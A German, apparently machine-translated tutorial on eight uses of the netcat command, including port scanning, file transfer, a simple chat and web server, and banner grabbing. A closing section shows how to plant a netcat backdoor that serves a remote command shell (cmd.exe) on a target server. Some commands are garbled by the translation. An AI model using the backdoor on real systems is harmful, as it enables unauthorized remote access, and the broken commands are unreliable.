8 Netcat (nc) -Befehl mit Beispielen
Netcat kann zum Port-Scannen verwendet werden, Portumleitungals Port-Listener (für eingehende Verbindungen); Es kann auch verwendet werden, um Remoteverbindungen und so viele andere Dinge zu öffnen. Außerdem können Sie es als Hintertür verwenden, um Zugriff auf einen Zielserver zu erhalten.
In diesem Artikel werden wir erklären Netcat Verwendungsbefehle mit Beispielen.
So installieren und verwenden Sie Netcat unter Linux
So installieren Sie das Netcat-Paket Verwenden Sie auf Ihrem System den Standardpaketmanager für Ihre Linux-Distribution.
$ yum install nc [On CentOS/RHEL] $ dnf install nc [On Fedora 22+ and RHEL 8] $ sudo apt-get install Netcat [On Debian/Ubuntu]
Einmal Netcat-Paket installiert, können Sie fortfahren, um die Verwendung von zu lernen Befehl netcat in den folgenden Beispielen.
Port-Scannen
Netcat kann zum Port-Scannen verwendet werden: um zu wissen, welche Ports geöffnet sind und Dienste auf einem Zielcomputer ausführen. Es kann einen einzelnen oder mehrere oder mehrere offene Ports scannen.
Hier ist ein Beispiel, das -z
Optionssätze nc um einfach nach hörenden Dämonen zu suchen, ohne tatsächlich Daten an sie zu senden. Das -v
Option aktiviert ausführlichen Modus und -w
Gibt ein Zeitlimit für die Verbindung an, das nicht hergestellt werden kann.
$ nc -v -w 2 z 192.168.56.1 22 #scan a single port OR $ nc -v -w 2 z 192.168.56.1 22 80 #scan multiple ports OR $ nc -v -w 2 z 192.168.56.1 20-25 #scan range of ports
Dateien zwischen Linux-Servern übertragen
Netcat Ermöglicht das Übertragen von Dateien zwischen zwei Linux-Computern oder -Servern, die beide Systeme haben müssen nc Eingerichtet.
Führen Sie beispielsweise den folgenden Befehl auf dem Absender / Server-Computer aus (auf dem sich die ISO-Datei befindet), um eine ISO-Image-Datei von einem Computer auf einen anderen zu kopieren und den Übertragungsfortschritt zu überwachen (mithilfe des Dienstprogramms pv).
Dies wird ausgeführt nc im Hörmodus (-l
Flagge) am Hafen 3000.
$ tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso | pv | nc -l -p 3000 -q 5
Führen Sie auf dem Empfänger- / Client-Computer den folgenden Befehl aus, um die Datei abzurufen.
$ nc 192.168.1.4 3000 | pv | tar -zxf -
Erstellen Sie einen Befehlszeilen-Chat-Server
Sie können auch verwenden Netcat um sofort einen einfachen Befehlszeilen-Messaging-Server zu erstellen. Wie im vorherigen Verwendungsbeispiel nc muss auf beiden für den Chatraum verwendeten Systemen installiert sein.
Führen Sie auf einem System den folgenden Befehl aus, um den Chat-Server zu erstellen, der den Port überwacht 5000.
$ nc -l -vv -p 5000
Führen Sie auf dem anderen System den folgenden Befehl aus, um eine Chat-Sitzung auf einem Computer zu starten, auf dem der Messaging-Server ausgeführt wird.
$ nc 192.168.56.1 5000
Erstellen Sie einen einfachen Webserver
Mit dem -l
Option von nc Befehl Wird verwendet, um einen einfachen, unsicheren Webserver zu erstellen, der statische Webdateien für Lernzwecke bereitstellt. Um dies zu demonstrieren, erstellen Sie eine .html
Datei wie gezeigt.
$ vim index.html
Fügen Sie der Datei die folgenden HTML-Zeilen hinzu.
Test Page Serving this file using Netcat Basic HTTP server!
Speichern Sie die Änderungen in der Datei und beenden Sie sie.
Stellen Sie dann die obige Datei über HTTP bereit, indem Sie den folgenden Befehl ausführen, mit dem der HTTP-Server kontinuierlich ausgeführt werden kann.
$ while : ; do ( echo -ne "HTTP/1.1 200 OKrn" ; cat index.html; ) | nc -l -p 8080 ; done
Öffnen Sie dann einen Webbrowser und können Sie über die folgende Adresse auf den Inhalt zugreifen.
http://localhost:8080 OR http://SERVER_IP:8080
Beachten Sie, dass Sie die stoppen können Netcat HTTP-Server durch Drücken [Ctrl+ C]
.
Fehlerbehebung bei der Linux Server-Verbindung
Eine weitere nützliche Verwendung von Netcat dient zur Behebung von Serververbindungsproblemen. Hier können Sie verwenden Netcat um zu überprüfen, welche Daten ein Server als Antwort auf vom Client ausgegebene Befehle sendet.
Der folgende Befehl ruft die Homepage von ab example.com.
$ printf "GET / HTTP/1.0rnrn" | nc text.example.com 80
Die Ausgabe des obigen Befehls enthält die vom Webserver gesendeten Header, die zur Fehlerbehebung verwendet werden können.
Suchen Sie einen Dienst, der am Port ausgeführt wird
Sie können auch verwenden Netcat Port-Banner zu erhalten. In diesem Fall erfahren Sie, welcher Dienst hinter einem bestimmten Port ausgeführt wird. Zum Beispiel, um zu wissen, welche Art von Dienst hinter dem Port ausgeführt wird 22 Führen Sie auf einem bestimmten Server den folgenden Befehl aus (ersetzen 192.168.56.110 mit der IP-Adresse des Zielservers). Das -n
Flag bedeutet, DNS- oder Service-Lookups zu deaktivieren.
$ nc -v -n 192.168.56.110 80
Erstellen Sie einen Stream Sockets
Netcat unterstützt auch die Erstellung von UNIX-Domain-Stream-Sockets. Der folgende Befehl erstellt und überwacht einen UNIX-Domänen-Stream-Socket.
$ nc -lU /var/tmp/mysocket & $ ss -lpn | grep "/var/tmp/"
Erstellen Sie eine Hintertür
Sie können auch laufen Netcat als Hintertür. Dies erfordert jedoch mehr Arbeit. Wenn Netcat Wenn es auf einem Zielserver installiert ist, können Sie damit eine Hintertür erstellen und eine Remote-Eingabeaufforderung erhalten.
Um eine Hintertür zu bedienen, benötigen Sie Netcat um einen ausgewählten Port (z. B. Port) abzuhören 3001) auf dem Zielserver und dann können Sie von Ihrem Computer aus wie folgt eine Verbindung zu diesem Port herstellen.
Dies ist der Befehl, der auf dem Remote-Server ausgeführt werden soll, auf dem der -d
Option deaktiviert das Lesen von stdin und -e
Gibt den Befehl an, der auf dem Zielsystem ausgeführt werden soll.
$ nc -L -p 3001 -d -e cmd.exe
Zu guter Letzt, Netcat kann als Proxy für verschiedene Dienste / Protokolle verwendet werden, einschließlich HTTP, SSH und viele mehr. Weitere Informationen finden Sie in der Manpage.
$ man nc
In diesem Artikel haben wir 8 praktische erklärt Verwendungsbeispiele für Netcat-Befehle. Wenn Sie andere praktische Anwendungsfälle kennen, teilen Sie uns dies über das unten stehende Feedback-Formular mit. Sie können auch eine Frage stellen.